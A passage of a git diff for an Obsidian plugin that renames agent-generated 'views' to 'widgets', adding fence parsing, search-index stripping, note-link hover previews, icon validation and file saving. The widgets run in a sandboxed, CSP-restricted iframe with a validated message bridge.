??= saveWidgetFile(plugin.app, getData().widgetsFolder, spec, source).catch((error: unknown) => { + saving = null; + throw error; + }); + return saving; + }; + + iconButton(bar, "maximize-2", "Expand", async () => { + plugin.openWidgetModal(spec, sourcePath); + }); + iconButton(bar, "copy", "Copy as block to paste into a note", async () => { + await navigator.clipboard.writeText(wrapWidgetFence(source)); + new Notice("Widget block copied. Paste it into any note."); + }); + iconButton(bar, "save", "Save as a widget file and open it", async () => { + try { + const file = await save(); + await plugin.app.workspace.getLeaf("tab").openFile(file); + } catch (error) { + new Notice(`Could not save widget: ${error instanceof Error ? error.message : String(error)}`); + } + }); +} + +function iconButton(parent: HTMLElement, icon: string, label: string, onClick: () => Promise<void>): void { + const button = parent.createDiv({ + cls: "clickable-icon", + attr: { role: "button", tabindex: "0", "aria-label": label }, + }); + setIcon(button, icon); + button.addEventListener("click", () => void onClick()); + button.addEventListener("keydown", (event) => { + if (event.key === "Enter" || event.key === " ") { + event.preventDefault(); + void onClick(); + } + }); +} + +/** Write the widget as `<folder>/<title>.widget`, suffixing the name on collision. */ +export async function saveWidgetFile(app: App, folder: string, spec: WidgetSpec, source: string): Promise<TFile> { + const folderPath = normalizePath(folder || "Widgets"); + await ensureFolder(app, folderPath); + const base = widgetFileBasename(spec.title); + let path = normalizePath(`${folderPath}/${base}.${WIDGET_FILE_EXTENSION}`); + for (let n = 2; app.vault.getAbstractFileByPath(path); n++) { + path = normalizePath(`${folderPath}/${base} ${n}.${WIDGET_FILE_EXTENSION}`); + } + return app.vault.create(path, `${source.trim()}\n`); +} + +/** Create `folderPath` and any missing ancestors, one segment at a time. */ +async function ensureFolder(app: App, folderPath: string): Promise<void> { + let current = ""; + for (const segment of folderPath.split("/").filter(Boolean)) { + current = current ? `${current}/${segment}` : segment; + if (!app.vault.getFolderByPath(current)) await app.vault.createFolder(current); + } +} diff --git a/src/genview/vendoredLibPatches.ts b/src/widget/vendoredLibPatches.ts similarity index 89% rename from src/genview/vendoredLibPatches.ts rename to src/widget/vendoredLibPatches.ts index c178585f..96c424d8 100644 --- a/src/genview/vendoredLibPatches.ts +++ b/src/widget/vendoredLibPatches.ts @@ -1,8 +1,8 @@ /** - * Source patches applied at build time to the browser bundles a view can request + * Source patches applied at build time to the browser bundles a widget can request * (`viewLibs.ts`). Those bundles ship inside main.js as string literals, and the * production build refuses a main.js containing `new Function(` or `eval(` — the - * plugin-review scan reads text, not semantics, and a view library's global-detection + * plugin-review scan reads text, not semantics, and a widget library's global-detection * fallback would read as the plugin executing dynamic code. * * Every patch is semantics-preserving for the runtimes a frame can run in, is pinned to @@ -32,7 +32,7 @@ export const VENDORED_LIB_PATCHES: Readonly<Record<string, readonly VendoredLibP count: 1, why: "A `global` polyfill's last-resort fallback for finding the global object, reached only when " + - "`globalThis` is not an object. Every runtime a view frame runs in (Chromium in Electron, " + + "`globalThis` is not an object. Every runtime a widget frame runs in (Chromium in Electron, " + "WebKit on iOS) defines `globalThis`, so the fallback is dead; naming `globalThis` directly " + "keeps the same result without constructing code from a string.", }, @@ -46,7 +46,7 @@ export const VENDORED_LIB_FORBIDDEN: ReadonlyArray<[label: string, pattern: RegE ["importScripts()", /importScripts\(/], ]; -/** The patch set for a vendored file path, or null when the path is not a vendored view library. */ +/** The patch set for a vendored file path, or null when the path is not a vendored widget library. */ export function vendoredLibPatchesFor(path: string): readonly VendoredLibPatch[] | null { for (const [tail, patches] of Object.entries(VENDORED_LIB_PATCHES)) { if (path.endsWith(tail)) return patches; @@ -57,12 +57,12 @@ export function vendoredLibPatchesFor(path: string): readonly VendoredLibPatch[] /** Apply a library's patches to its source and verify nothing forbidden remains. Throws on any drift. */ export function patchVendoredLib(path: string, source: string): string { const patches = vendoredLibPatchesFor(path); - if (!patches) throw new Error(`vendored-lib-patches: ${path} is not a vendored view library`); + if (!patches) throw new Error(`vendored-lib-patches: ${path} is not a vendored widget library`); let patched = source; for (const { from, to, count } of patches) { const occurrences = patched.split(from).length - 1; if (occurrences !== count) { - const hint = "The library changed; review the patch in src/genview/vendoredLibPatches.ts."; + const hint = "The library changed; review the patch in src/widget/vendoredLibPatches.ts."; throw new Error( `vendored-lib-patches: expected ${count} occurrence(s) of ${JSON.stringify(from)} in ${path}, found ${occurrences}. ${hint}`, ); diff --git a/src/widget/widgetFences.ts b/src/widget/widgetFences.ts new file mode 100644 index 00000000..40b61c34 --- /dev/null +++ b/src/widget/widgetFences.ts @@ -0,0 +1,84 @@ +/** + * Locate `s2b-widget` fences in a note's markdown. Used to keep widget code out of the + * search indexes: a fence's HTML and JavaScript are noise to retrieval, so + * {@link stripWidgetFences} replaces each with a one-line marker carrying its title. + * + * Fence-aware in the CommonMark sense: a fence opened inside another fence (the widgets + * skill's own ````markdown examples) is content, not a widget. Opening markers may be + * indented up to three spaces; the closing marker uses the same character, at least + * the same length, and carries no info string. + */ + +import { parseWidgetSpec, WIDGET_BLOCK_LANGUAGE, type WidgetSpec } from "./widgetSpec"; + +export interface WidgetFence { + /** Position among the note's widget fences, top to bottom. */ + index: number; + /** Zero-based line of the opening marker. */ + lineStart: number; + /** Zero-based line of the closing marker. */ + lineEnd: number; + /** The fence body, verbatim. */ + source: string; + spec: WidgetSpec; +} + +const OPENING = /^ {0,3}(`{3,}|~{3,})\s*([^\s`]*)/; + +function closes(line: string, char: string, length: number): boolean { + const match = /^ {0,3}(`{3,}|~{3,})\s*$/.exec(line); + return match !== null && match[1][0] === char && match[1].length >= length; +} + +/** Every top-level `s2b-widget` fence in `markdown`, in document order. */ +export function findWidgetFences(markdown: string): WidgetFence[] { + const lines = markdown.replace(/\r\n?/g, "\n").split("\n"); + const fences: WidgetFence[] = []; + let open: { char: string; length: number; lang: string; lineStart: number } | null = null; + let body: string[] = []; + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + if (open) { + if (closes(line, open.char, open.length)) { + if (open.lang === WIDGET_BLOCK_LANGUAGE) { + const source = body.join("\n"); + fences.push({ + index: fences.length, + lineStart: open.lineStart, + lineEnd: i, + source, + spec: parseWidgetSpec(source), + }); + } + open = null; + body = []; + } else { + body.push(line); + } + continue; + } + const match = OPENING.exec(line); + if (match) open = { char: match[1][0], length: match[1].length, lang: match[2], lineStart: i }; + } + return fences; +} + +/** + * `markdown` with every widget fence replaced by `(widget: <title>)` — or `(widget)` when it + * has none — so a note that holds a dashboard is still findable by its name while its + * code stays out of the index. Returns the input untouched when there is nothing to strip. + */ +export function stripWidgetFences(markdown: string): string { + const fences = findWidgetFences(markdown); + if (fences.length === 0) return markdown; + const lines = markdown.replace(/\r\n?/g, "\n").split("\n"); + const out: string[] = []; + let cursor = 0; + for (const fence of fences) { + out.push(...lines.slice(cursor, fence.lineStart)); + out.push(fence.spec.title ? `(widget: ${fence.spec.title})` : "(widget)"); + cursor = fence.lineEnd + 1; + } + out.push(...lines.slice(cursor)); + return out.join("\n"); +} diff --git a/src/genview/viewFrame.ts b/src/widget/widgetFrame.ts similarity index 64% rename from src/genview/viewFrame.ts rename to src/widget/widgetFrame.ts index 51328ad2..4168fec6 100644 --- a/src/genview/viewFrame.ts +++ b/src/widget/widgetFrame.ts @@ -1,7 +1,7 @@ /** - * The frame a view renders in, and the bridge between it and the host. + * The frame a widget renders in, and the bridge between it and the host. * - * A view is model-written HTML and JavaScript. On desktop the Obsidian renderer has + * A widget is model-written HTML and JavaScript. On desktop the Obsidian renderer has * Node integration, so that code must never run in Obsidian's own document: it runs in * an `<iframe sandbox="allow-scripts" srcdoc>` — opaque origin, no parent DOM, no Node — * under a Content-Security-Policy that allows nothing but inline script and style. That @@ -18,7 +18,7 @@ * (verified in Obsidian's Electron: the `securitypolicyviolation` event fires on the * parent with `violatedDirective: frame-src` and the target URL as `blockedURI`). Obsidian's * own document has no CSP and must not get one (it would break every other plugin's - * iframes), so the view is wrapped in a trusted **outer** frame — plugin code only, with + * iframes), so the widget is wrapped in a trusted **outer** frame — plugin code only, with * `frame-src 'none'` — that hosts the model-written **inner** frame. `about:srcdoc` is * exempt from `frame-src`, so the inner still loads; anything it navigates to is refused. * @@ -28,39 +28,47 @@ * * ## Bridge * - * Both directions are `postMessage` with a fixed, tagged shape (`s2bView: true`). - * Host → view: `data` (query results) and `theme` (CSS variables). View → host: `ready`, - * `resize`, `open-note`, `requery`; outer → host additionally `navigated`. Every hop - * checks `event.source` against the one window it accepts from. Nothing else crosses. + * Both directions are `postMessage` with a fixed, tagged shape (`s2bWidget: true`). + * Host → widget: `data` (query results) and `theme` (CSS variables). Widget → host: `ready`, + * `resize`, `open-note`, `hover-note`, `requery`; outer → host additionally `navigated`. + * Every hop checks `event.source` against the one window it accepts from. Nothing else + * crosses. + * + * ## Note links + * + * Any element with `data-note="<path>"` is a note link: the runtime opens it on click and + * reports its rectangle on hover, and the host lays an invisible proxy element over that + * rectangle and hands it to Obsidian's page preview — so a link inside a widget previews + * exactly like one in a note. `s2b.openNote(path)` stays for programmatic opening. * * Known residual: hostname-based side channels that CSP does not govern (DNS prefetch - * hints). `x-dns-prefetch-control: off` is set in the inner document; a view is still + * hints). `x-dns-prefetch-control: off` is set in the inner document; a widget is still * model-authored code and should be treated with the same trust as the agent's tools. */ /** - * DOM event a rendered view dispatches (bubbling) on its block once its document - * reported `ready`; the frame also gets `data-s2b-view-ready`. The chat renderer uses - * both to hold a settling document off-screen until its views are showing. + * DOM event a rendered widget dispatches (bubbling) on its block once its document + * reported `ready`; the frame also gets `data-s2b-widget-ready`. The chat renderer uses + * both to hold a settling document off-screen until its widgets are showing. */ -export const VIEW_READY_EVENT = "s2b-view-ready"; +export const WIDGET_READY_EVENT = "s2b-widget-ready"; -/** Inner (view) document: only inline script/style and data/blob media; no network, no navigation targets. */ -export const VIEW_CSP = +/** Inner (widget) document: only inline script/style and data/blob media; no network, no navigation targets. */ +export const WIDGET_CSP = "default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:; font-src data:; media-src data: blob:; form-action 'none'; base-uri 'none'"; /** - * Space between the card border and the view's content, in px. Lives in the trusted outer - * document — a view's own `body { padding: 0 }` (which models write reflexively) cannot + * Space between the card border and the widget's content, in px. Lives in the trusted outer + * document — a widget's own `body { padding: 0 }` (which models write reflexively) cannot * remove it — so the host adds twice this to every content height it applies to the frame. */ -export const VIEW_FRAME_PADDING_PX = 12; +export const WIDGET_FRAME_PADDING_PX = 12; /** Outer (relay) document: inline script/style only, and no frame may be navigated anywhere. */ export const OUTER_FRAME_CSP = "default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; frame-src 'none'; form-action 'none'; base-uri 'none'"; -/** Obsidian CSS variables copied into the frame so a view tracks the user's theme. */ +/** Obsidian CSS variables copied into the frame so a widget tracks the user's theme. */ export const THEME_VARIABLES: readonly string[] = [ "--background-primary", "--background-primary-alt", @@ -135,19 +143,19 @@ export function collectThemeCss(doc: Document = document): string { } /** - * The script that runs first inside every view document. It installs the `s2b` global - * the view's own code talks to, listens for relayed host messages, and reports its + * The script that runs first inside every widget document. It installs the `s2b` global + * the widget's own code talks to, listens for relayed host messages, and reports its * content height so the host can size the frame. `ready` is sent from the window's * `load` event on purpose: the outer frame treats any load after `ready` as a * navigation, so `ready` must not precede the document's own load. Kept * dependency-free and free of `${}` so it can be a plain template literal. */ -export const VIEW_RUNTIME_SCRIPT = ` +export const WIDGET_RUNTIME_SCRIPT = ` (() => { const listeners = []; let data = null; const send = (message) => { - window.parent.postMessage(Object.assign({ s2bView: true }, message), "*"); + window.parent.postMessage(Object.assign({ s2bWidget: true }, message), "*"); }; window.s2b = { get data() { @@ -164,10 +172,61 @@ export const VIEW_RUNTIME_SCRIPT = ` send({ type: "requery" }); }, }; + // A note link is any element with data-note, or an anchor whose href is a vault + // path rather than a URL, fragment or script — the shape a model writes unprompted. + // No backslashes here: this text lives in a template literal, the formatter collapses + // escapes, and an escaped slash pair would become a comment marker that ends the regex. + const NOT_A_NOTE = /^(?:[a-z][a-z0-9+.-]*:|#|[/][/])/i; + const notePathOf = (element) => { + if (!element) return null; + const explicit = element.getAttribute("data-note"); + if (explicit) return explicit; + const href = element.tagName === "A" ? element.getAttribute("href") : null; + if (!href || NOT_A_NOTE.test(href.trim())) return null; + // An href may be a raw vault path ("50% off.md") or a percent-encoded one; decode + // only when that is valid, otherwise the raw text is the path. + try { + return decodeURIComponent(href.trim()); + } catch (error) { + return href.trim(); + } + }; + const noteLinkOf = (target) => { + if (!target || !target.closest) return null; + const candidate = target.closest("[data-note], a[href]"); + return candidate && notePathOf(candidate) ? candidate : null; + }; + document.addEventListener("click", (event) => { + const link = noteLinkOf(event.target); + if (!link) return; + event.preventDefault(); + send({ + type: "open-note", + path: String(notePathOf(link)), + modifiers: { ctrlKey: event.ctrlKey, metaKey: event.metaKey, altKey: event.altKey, shiftKey: event.shiftKey }, + }); + }); + let hoveredLink = null; + document.addEventListener("mouseover", (event) => { + const link = noteLinkOf(event.target); + if (!link || link === hoveredLink) return; + hoveredLink = link; + const rect = link.getBoundingClientRect(); + send({ + type: "hover-note", + path: String(notePathOf(link)), + rect: { x: rect.left, y: rect.top, width: rect.width, height: rect.height }, + ctrlKey: event.ctrlKey, + metaKey: event.metaKey, + }); + }); + document.addEventListener("mouseout", (event) => { + if (hoveredLink && noteLinkOf(event.relatedTarget) !== hoveredLink) hoveredLink = null; + }); window.addEventListener("message", (event) => { if (event.source !== window.parent) return; const message = event.data; - if (!message || message.s2bView !== true) return; + if (!message || message.s2bWidget !== true) return; if (message.type === "data") { data = message.data; for (const callback of listeners) { @@ -192,8 +251,8 @@ export const VIEW_RUNTIME_SCRIPT = ` const style = getComputedStyle(body); return ( Math.max(body.offsetHeight, body.scrollHeight) + - parseFloat(style.marginTop || "0") + - parseFloat(style.marginBottom || "0") + Number.parseFloat(style.marginTop || "0") + + Number.parseFloat(style.marginBottom || "0") ); }; // The bottom edge of what is actually drawn: for a declared height the host shrinks @@ -208,7 +267,7 @@ export const VIEW_RUNTIME_SCRIPT = ` if (rect.height > 0 || rect.width > 0) bottom = Math.max(bottom, rect.bottom + window.scrollY); } const style = getComputedStyle(body); - return bottom + parseFloat(style.paddingBottom || "0") + parseFloat(style.marginBottom || "0"); + return bottom + Number.parseFloat(style.paddingBottom || "0") + Number.parseFloat(style.marginBottom || "0"); }; let lastExtent = -1; const reportHeight = () => { @@ -261,7 +320,7 @@ export const VIEW_RUNTIME_SCRIPT = ` `; /** - * Applied in auto-height mode: the base style (and views themselves, with `height: 100%` + * Applied in auto-height mode: the base style (and widgets themselves, with `height: 100%` * or `min-height: 100vh`) size html/body to the frame, which inside a frame equals its * current height and would keep it from ever shrinking to short content (and would make * percentage-sized children fill the frame instead of their content). With a declared @@ -281,10 +340,10 @@ export function escapeInlineScript(source: string): string { /** * The inner document: CSP, theme, base styles, runtime, the requested libraries, then - * the view's own body. Libraries are inlined whole (see `viewLibs.ts`); a sandboxed frame + * the widget's own body. Libraries are inlined whole (see `viewLibs.ts`); a sandboxed frame * has nowhere else to load them from. */ -export function buildViewSrcdoc( +export function buildWidgetSrcdoc( body: string, themeCss: string, libSources: readonly string[] = [], @@ -295,7 +354,7 @@ export function buildViewSrcdoc( <html> <head> <meta charset="utf-8"> -<meta http-equiv="Content-Security-Policy" content="${VIEW_CSP}"> +<meta http-equiv="Content-Security-Policy" content="${WIDGET_CSP}"> <meta http-equiv="x-dns-prefetch-control" content="off"> <style id="s2b-theme">${themeCss}</style> <style> @@ -313,7 +372,7 @@ body { a { color: var(--text-accent, inherit); cursor: pointer; } ${autoHeight ? AUTO_HEIGHT_CSS : ""} </style> -<script>${VIEW_RUNTIME_SCRIPT}</script> +<script>${WIDGET_RUNTIME_SCRIPT}</script> ${libScripts} </head> <body> @@ -326,7 +385,7 @@ ${body} * The outer document's script: creates the inner frame from the embedded `INNER` * srcdoc, relays bridge messages between the host and the inner frame, and retires * the inner frame on any load after `ready` (a navigation the CSP backstop did not - * catch). Free of `${}`; `INNER` is defined by {@link buildViewFrameSrcdoc}. + * catch). Free of `${}`; `INNER` is defined by {@link buildWidgetFrameSrcdoc}. */ export const OUTER_RELAY_SCRIPT = ` (() => { @@ -342,11 +401,11 @@ export const OUTER_RELAY_SCRIPT = ` if (!ready || retired) return; retired = true; frame.remove(); - toHost({ s2bView: true, type: "navigated" }); + toHost({ s2bWidget: true, type: "navigated" }); }); window.addEventListener("message", (event) => { const message = event.data; - if (retired || !message || message.s2bView !== true) return; + if (retired || !message || message.s2bWidget !== true) return; if (event.source === window.parent) { if (frame.contentWindow) frame.contentWindow.postMessage(message, "*"); } else if (event.source === frame.contentWindow) { @@ -364,8 +423,8 @@ function scriptStringLiteral(value: string): string { return JSON.stringify(value).replace(/</g, "\\u003c"); } -/** The full `srcdoc` for a view: the trusted outer relay frame wrapping the inner view document. */ -export function buildViewFrameSrcdoc( +/** The full `srcdoc` for a widget: the trusted outer relay frame wrapping the inner widget document. */ +export function buildWidgetFrameSrcdoc( body: string, themeCss: string, libSources: readonly string[] = [], @@ -378,28 +437,48 @@ export function buildViewFrameSrcdoc( <meta http-equiv="Content-Security-Policy" content="${OUTER_FRAME_CSP}"> <style> html, body { margin: 0; padding: 0; height: 100%; overflow: hidden; background: transparent; } -body { box-sizing: border-box; padding: ${VIEW_FRAME_PADDING_PX}px; } +body { box-sizing: border-box; padding: ${WIDGET_FRAME_PADDING_PX}px; } iframe { display: block; width: 100%; height: 100%; border: 0; } </style> </head> <body> -<script>const INNER = ${scriptStringLiteral(buildViewSrcdoc(body, themeCss, libSources, autoHeight))};${OUTER_RELAY_SCRIPT}</script> +<script>const INNER = ${scriptStringLiteral(buildWidgetSrcdoc(body, themeCss, libSources, autoHeight))};${OUTER_RELAY_SCRIPT}</script> </body> </html>`; } +export interface HoverNoteMessage { + type: "hover-note"; + path: string; + /** The link's box in the widget document's viewport coordinates. */ + rect: { x: number; y: number; width: number; height: number }; + ctrlKey: boolean; + metaKey: boolean; +} + +/** Modifier keys of the click that asked to open a note; Obsidian maps them to tab/split/window. */ +export interface ClickModifiers { + ctrlKey: boolean; + metaKey: boolean; + altKey: boolean; + shiftKey: boolean; +} + export type FrameToHostMessage = | { type: "ready" } | { type: "resize"; height: number; extent: number } - | { type: "open-note"; path: string } + | { type: "open-note"; path: string; modifiers: ClickModifiers } + | HoverNoteMessage | { type: "requery" } | { type: "navigated" }; +const isFiniteNumber = (value: unknown): value is number => typeof value === "number" && Number.isFinite(value); + /** Validate a `message` event payload from a frame. Anything off-shape is dropped. */ export function parseFrameMessage(data: unknown): FrameToHostMessage | null { if (typeof data !== "object" || data === null) return null; const message = data as Record<string, unknown>; - if (message.s2bView !== true) return null; + if (message.s2bWidget !== true) return null; switch (message.type) { case "ready": case "requery": @@ -411,10 +490,36 @@ export function parseFrameMessage(data: unknown): FrameToHostMessage | null { const validExtent = typeof extent === "number" && Number.isFinite(extent) ? extent : height; return { type: "resize", height, extent: validExtent }; } - case "open-note": - return typeof message.path === "string" && message.path.length > 0 - ? { type: "open-note", path: message.path } - : null; + case "open-note": { + if (typeof message.path !== "string" || !message.path) return null; + const raw = (typeof message.modifiers === "object" && message.modifiers) || {}; + const flags = raw as Record<string, unknown>; + return { + type: "open-note", + path: message.path, + modifiers: { + ctrlKey: flags.ctrlKey === true, + metaKey: flags.metaKey === true, + altKey: flags.altKey === true, + shiftKey: flags.shiftKey === true, + }, + }; + } + case "hover-note": { + const rect = message.rect as Record<string, unknown> | undefined; + if (typeof message.path !== "string" || !message.path || typeof rect !== "object" || rect === null) + return null; + const { x, y, width, height } = rect; + if (!isFiniteNumber(x) || !isFiniteNumber(y) || !isFiniteNumber(width) || !isFiniteNumber(height)) + return null; + return { + type: "hover-note", + path: message.path, + rect: { x, y, width, height }, + ctrlKey: message.ctrlKey === true, + metaKey: message.metaKey === true, + }; + } default: return null; } diff --git a/src/widget/widgetIcon.ts b/src/widget/widgetIcon.ts new file mode 100644 index 00000000..e08714a8 --- /dev/null +++ b/src/widget/widgetIcon.ts @@ -0,0 +1,14 @@ +import { getIcon } from "obsidian"; + +/** Tab and toolbar icon for a widget that does not choose its own. */ +export const DEFAULT_WIDGET_ICON = "component"; + +/** + * The icon a widget shows: its frontmatter `icon` when that is a Lucide name Obsidian + * knows, the default otherwise. Validated here so a typo in a widget never leaves a + * blank tab. + */ +export function resolveWidgetIcon(name: string | undefined): string { + const candidate = name?.trim(); + return candidate && getIcon(candidate) ? candidate : DEFAULT_WIDGET_ICON; +} diff --git a/src/genview/viewLibs.ts b/src/widget/widgetLibs.ts similarity index 70% rename from src/genview/viewLibs.ts rename to src/widget/widgetLibs.ts index d6915da3..45b0d6c9 100644 --- a/src/genview/viewLibs.ts +++ b/src/widget/widgetLibs.ts @@ -1,20 +1,20 @@ /** - * Browser libraries a view can ask for with `libs:` in its frontmatter. + * Browser libraries a widget can ask for with `libs:` in its frontmatter. * - * A view frame has no network and an opaque origin, so a library can reach it only one + * A widget frame has no network and an opaque origin, so a library can reach it only one * way: inlined whole as a `<script>` in the frame's document. That makes every entry - * here a per-view cost (the source is parsed once per frame that requests it) and a + * here a per-widget cost (the source is parsed once per frame that requests it) and a * bundle cost (the source ships inside main.js as a string), which is why the set is * small, opt-in, and each entry is a single self-contained UMD/IIFE build. * * Adding one: vendor a browser build that defines a global, import it `?raw`, add an - * entry, and document the global and its scope in the `views` skill. + * entry, and document the global and its scope in the `widgets` skill. */ import plotlySource from "plotly.js-gl3d-dist-min/plotly-gl3d.min.js?raw"; -export interface ViewLib { - /** The id a view writes under `libs:`. */ +export interface WidgetLib { + /** The id a widget writes under `libs:`. */ id: string; /** Shown in notices. */ displayName: string; @@ -29,7 +29,7 @@ export interface ViewLib { * trace (scatter3d, surface, mesh3d, cone, streamtube, isosurface, volume). Chosen over the * full bundle because it is less than half its size and covers both study plots and 3D. */ -export const VIEW_LIBS: Readonly<Record<string, ViewLib>> = { +export const WIDGET_LIBS: Readonly<Record<string, WidgetLib>> = { plotly: { id: "plotly", displayName: "Plotly", @@ -39,14 +39,14 @@ export const VIEW_LIBS: Readonly<Record<string, ViewLib>> = { }; /** Resolve requested ids (deduplicated, in order) to sources; unknown ids are reported, not dropped silently. */ -export function resolveViewLibs(ids: readonly string[]): { sources: string[]; unknown: string[] } { +export function resolveWidgetLibs(ids: readonly string[]): { sources: string[]; unknown: string[] } { const sources: string[] = []; const unknown: string[] = []; const seen = new Set<string>(); for (const id of ids) { if (seen.has(id)) continue; seen.add(id); - const lib = VIEW_LIBS[id]; + const lib = WIDGET_LIBS[id]; if (lib) sources.push(lib.source); else unknown.push(id); } diff --git a/src/genview/viewQueries.ts b/src/widget/widgetQueries.ts similarity index 92% rename from src/genview/viewQueries.ts rename to src/widget/widgetQueries.ts index fae5db94..b69173f4 100644 --- a/src/genview/viewQueries.ts +++ b/src/widget/widgetQueries.ts @@ -1,5 +1,5 @@ /** - * Runs a view's declared queries on the host and turns the results into plain JSON + * Runs a widget's declared queries on the host and turns the results into plain JSON * the frame can consume. The frame never sees the vault, Dataview, or `app`: it gets * exactly what these queries return, as structured-clone-safe data. * @@ -11,21 +11,21 @@ import type { App } from "obsidian"; import { resolvePluginApi } from "../agent/integrations/pluginIntegrations"; -export type ViewQueryResult = +export type WidgetQueryResult = | { type: "table"; headers: string[]; rows: unknown[][] } | { type: "list"; items: unknown[] } | { type: "task"; items: unknown[] } | { type: "calendar"; items: unknown[] } | { error: string }; -export type ViewQueryResults = Record<string, ViewQueryResult>; +export type WidgetQueryResults = Record<string, WidgetQueryResult>; interface DataviewQueryApi { query(source: string, originFile?: string): Promise<{ successful: boolean; value?: unknown; error?: string }>; } export const DATAVIEW_PLUGIN_ID = "dataview"; -export const DATAVIEW_MISSING_ERROR = "The Dataview plugin is not enabled, so this view's queries cannot run."; +export const DATAVIEW_MISSING_ERROR = "The Dataview plugin is not enabled, so this widget's queries cannot run."; const MAX_DEPTH = 6; const MAX_ARRAY_ITEMS = 1000; @@ -33,13 +33,13 @@ const MAX_OBJECT_KEYS = 100; const MAX_STRING_LENGTH = 10_000; /** Run every query in `queries`; a failed query yields `{ error }` rather than failing the set. */ -export async function runViewQueries( +export async function runWidgetQueries( app: App, queries: Record<string, string>, sourcePath: string, -): Promise<ViewQueryResults> { +): Promise<WidgetQueryResults> { const names = Object.keys(queries); - const results: ViewQueryResults = {}; + const results: WidgetQueryResults = {}; if (names.length === 0) return results; const api = resolvePluginApi(app, DATAVIEW_PLUGIN_ID) as DataviewQueryApi | null; @@ -61,7 +61,7 @@ export async function runViewQueries( return results; } -function toViewResult(value: unknown): ViewQueryResult { +function toViewResult(value: unknown): WidgetQueryResult { if (typeof value !== "object" || value === null) return { error: "Query returned no result." }; const result = value as { type?: unknown; headers?: unknown; values?: unknown }; switch (result.type) { diff --git a/src/genview/viewSpec.ts b/src/widget/widgetSpec.ts similarity index 77% rename from src/genview/viewSpec.ts rename to src/widget/widgetSpec.ts index 5b0aece5..e5c68bb2 100644 --- a/src/genview/viewSpec.ts +++ b/src/widget/widgetSpec.ts @@ -1,11 +1,11 @@ /** - * The `s2b-view` fence: an agent-generated view. + * The `s2b-widget` fence: an agent-generated widget. * * The fence body is an HTML document fragment (markup, `<style>`, `<script>`) that is * rendered inside a sandboxed iframe (see `viewFrame.ts`). An optional leading * frontmatter block declares what the host should do for it: * - * ```s2b-view + * ```s2b-widget * --- * title: Notes per tag * height: 320 @@ -24,11 +24,15 @@ * list, or a `- item` block — which is all a model needs. */ -export const VIEW_BLOCK_LANGUAGE = "s2b-view"; +export const WIDGET_BLOCK_LANGUAGE = "s2b-widget"; -export interface ViewSpec { - /** Shown in the chat toolbar and used as the note name when saved. */ +export interface WidgetSpec { + /** Shown in the chat toolbar and used as the file name when saved. */ title?: string; + /** One line on what the widget shows. With the title, the only text of a `.widget` file that is indexed. */ + description?: string; + /** Lucide icon name for the tab and toolbar; see `widgetIcon.ts` for the default and validation. */ + icon?: string; /** Fixed frame height in px. When absent the frame follows its content height. */ height?: number; /** Named Dataview queries, run by the host and kept live. */ @@ -45,7 +49,7 @@ const NESTED_KEY = /^\s+([A-Za-z_][\w-]*):\s*(.*)$/; const BLOCK_SCALAR_INDICATORS = new Set(["|", "|-", "|+", ">", ">-", ">+"]); /** Parse a fence body into its spec. Never throws: malformed frontmatter is treated as body. */ -export function parseViewSpec(source: string): ViewSpec { +export function parseWidgetSpec(source: string): WidgetSpec { const lines = source.replace(/\r\n?/g, "\n").split("\n"); let start = 0; while (start < lines.length && lines[start].trim() === "") start++; @@ -69,8 +73,8 @@ export function parseViewSpec(source: string): ViewSpec { return spec; } -function parseFrontmatter(lines: string[]): ViewSpec { - const spec: ViewSpec = { queries: {}, libs: [], body: "" }; +function parseFrontmatter(lines: string[]): WidgetSpec { + const spec: WidgetSpec = { queries: {}, libs: [], body: "" }; let i = 0; while (i < lines.length) { const line = lines[i]; @@ -96,6 +100,10 @@ function parseFrontmatter(lines: string[]): ViewSpec { const value = unquote(rawValue); if (key === "title" && value) { spec.title = value; + } else if (key === "description" && value) { + spec.description = value; + } else if (key === "icon" && value) { + spec.icon = value; } else if (key === "height") { const height = Number.parseInt(value, 10); if (Number.isFinite(height) && height > 0) spec.height = height; @@ -193,17 +201,27 @@ function unquote(value: string): string { * Wrap a fence body back into a markdown fence. The fence is made longer than any * backtick run inside the body so a ``` in a `<script>` can't close it early. */ -export function wrapViewFence(source: string): string { +export function wrapWidgetFence(source: string): string { const longest = Math.max(2, ...[...source.matchAll(/`+/g)].map((m) => m[0].length)); const fence = "`".repeat(longest + 1); - return `${fence}${VIEW_BLOCK_LANGUAGE}\n${source.trim()}\n${fence}\n`; + return `${fence}${WIDGET_BLOCK_LANGUAGE}\n${source.trim()}\n${fence}\n`; } -/** A vault-safe note basename for a view, from its title. */ -export function viewFileBasename(title: string | undefined): string { +/** + * The text a `.widget` file contributes to the search indexes: its title and description, + * never its body. Enough to find a widget by what it is about; no markup or script becomes + * a chunk. Empty when it has neither (the indexer then falls back to the file name). + */ +export function widgetIndexText(source: string): string { + const { title, description } = parseWidgetSpec(source); + return [title, description].filter((part): part is string => Boolean(part)).join("\n"); +} + +/** A vault-safe note basename for a widget, from its title. */ +export function widgetFileBasename(title: string | undefined): string { const cleaned = (title ?? "") .replace(/[\\/:*?"<>|#^[\]]/g, " ") .replace(/\s+/g, " ") .trim(); - return cleaned || "View"; + return cleaned || "Widget"; } diff --git a/test/__mocks__/obsidian.ts b/test/__mocks__/obsidian.ts index ef3aa8c5..a0e91ae4 100644 --- a/test/__mocks__/obsidian.ts +++ b/test/__mocks__/obsidian.ts @@ -299,3 +299,5 @@ export type DataAdapter = Vault["adapter"]; export function getLanguage(): string { return "en"; } + +export const getIcon = vi.fn((_id: string): SVGSVGElement | null => null); diff --git a/test/agent/editNote.test.ts b/test/agent/editNote.test.ts index 13adc619..94e8120f 100644 --- a/test/agent/editNote.test.ts +++ b/test/agent/editNote.test.ts @@ -220,7 +220,7 @@ describe("manageNotes tool (update operations)", () => { THREAD_CONFIG, ); - expect(result).toContain("Only markdown files"); + expect(result).toContain("Only notes (.md) and widgets (.widget)"); expect(mockAddChanges).not.toHaveBeenCalled(); }); diff --git a/test/genview/viewFrame.test.ts b/test/genview/viewFrame.test.ts deleted file mode 100644 index 9ef55052..00000000 --- a/test/genview/viewFrame.test.ts +++ /dev/null @@ -1,145 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - AUTO_HEIGHT_CSS, - buildThemeCss, - buildViewFrameSrcdoc, - buildViewSrcdoc, - escapeInlineScript, - OUTER_FRAME_CSP, - OUTER_RELAY_SCRIPT, - parseFrameMessage, - VIEW_CSP, - VIEW_FRAME_PADDING_PX, - VIEW_RUNTIME_SCRIPT, -} from 